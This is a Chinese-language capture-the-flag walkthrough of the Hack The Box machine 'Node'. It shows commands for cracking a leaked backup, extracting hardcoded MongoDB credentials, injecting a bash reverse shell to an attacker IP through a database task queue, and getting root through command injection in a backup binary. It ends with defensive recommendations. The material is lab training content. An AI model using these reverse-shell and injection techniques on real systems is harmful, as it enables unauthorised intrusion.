[Meachines] [Medium] node E-NodeJS-API泄露+备份文件泄露+TRP00F自动权限提升+app.js与MongoDB命令注入+backup权限提升
字数 1006 2025-08-19 12:40:50
NodeJS API泄露与权限提升漏洞分析
目标系统概述
- IP地址: 10.10.10.58
- 开放端口:
- 22/tcp (SSH)
- 3000/tcp (Hadoop任务追踪器/NodeJS应用)
信息收集阶段
端口扫描结果
$ nmap -p- 10.10.10.58 --min-rate 1000 -sC -sV -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
|_http-title: MyPlace
Web应用发现
- 访问地址: http://10.10.10.58:3000
- API端点: http://10.10.10.58:3000/api/users/
漏洞利用过程
1. 备份文件泄露
- 发现备份文件: http://10.10.10.58:3000/myplace.backup
- 分析备份文件:
$ binwalk myplace.backup $ cat myplace.backup|base64 -d >myplace.backup.decode - 破解备份文件密码:
$ zip2john myplace.backup.decode -o myplace.backup.decode.john $ john --wordlist=/usr/share/wordlists/rockyou.txt myplace.backup.decode.john- 破解出的密码:
magicword
- 破解出的密码:
- 解压备份文件:
$ unzip myplace.backup.decode
2. 数据库凭证泄露
在解压后的文件中发现关键信息:
$ cat var/www/myplace/app.js
发现MongoDB连接字符串:
mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace
- 用户名: mark
- 密码: 5AYRft73VtFpc84k
3. TRP00F自动权限提升
使用TRP00F工具进行权限提升:
$ python3 trp00f.py --lhost 10.10.16.24 --lport 10033 --rhost 10.10.16.24 --rport 10034 --http 9999 --password '5AYRft73VtFpc84k'
4. MongoDB命令注入
- 通过SSH登录mark账户:
$ ssh mark@10.10.10.58 - 分析app.js中的任务调度机制:
- 脚本每30秒从MongoDB的tasks集合中获取命令并执行
- 执行后会删除对应的文档
- 利用MongoDB注入反弹shell:
$ mongo -u mark -p 5AYRft73VtFpc84k scheduler > db.tasks.insert({"cmd": "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.24/10035 0>&1'"}) > db.tasks.find() - 获取user flag:
b0ca19843af3d049a782f7f16b0cf144
5. 备份工具权限提升
- 发现可疑二进制文件:
$ file /usr/local/bin/backup - 分析发现-q选项存在命令注入漏洞:
$ /usr/local/bin/backup -q "" ' /bin/bash' - 获取root flag:
2278ab816e1cd3204d1b331144bf9704
关键漏洞总结
-
API端点泄露:
- /api/users/ 暴露了用户凭证信息
-
备份文件泄露:
- 未加密的备份文件可通过Web访问
- 备份文件包含敏感配置信息
-
MongoDB弱凭证:
- 硬编码的数据库凭证
- 凭证复用问题(Web应用和系统用户使用相同凭证)
-
任务调度命令注入:
- 应用从数据库直接读取并执行命令
- 无任何输入验证或过滤
-
备份工具命令注入:
- 参数处理不当导致命令注入
- 以root权限运行
防御建议
-
API安全:
- 限制敏感API端点的访问
- 实施适当的认证和授权机制
-
备份安全:
- 不要将备份文件存储在Web可访问目录
- 对备份文件进行加密
-
凭证管理:
- 避免硬编码凭证
- 使用不同的凭证用于不同服务
- 实施定期凭证轮换
-
输入验证:
- 对所有从数据库读取的数据进行验证
- 实施最小权限原则
-
命令执行安全:
- 避免直接执行来自不可信源的命令
- 使用白名单机制限制可执行命令
-
权限管理:
- 避免以root权限运行不必要的服务
- 实施适当的权限分离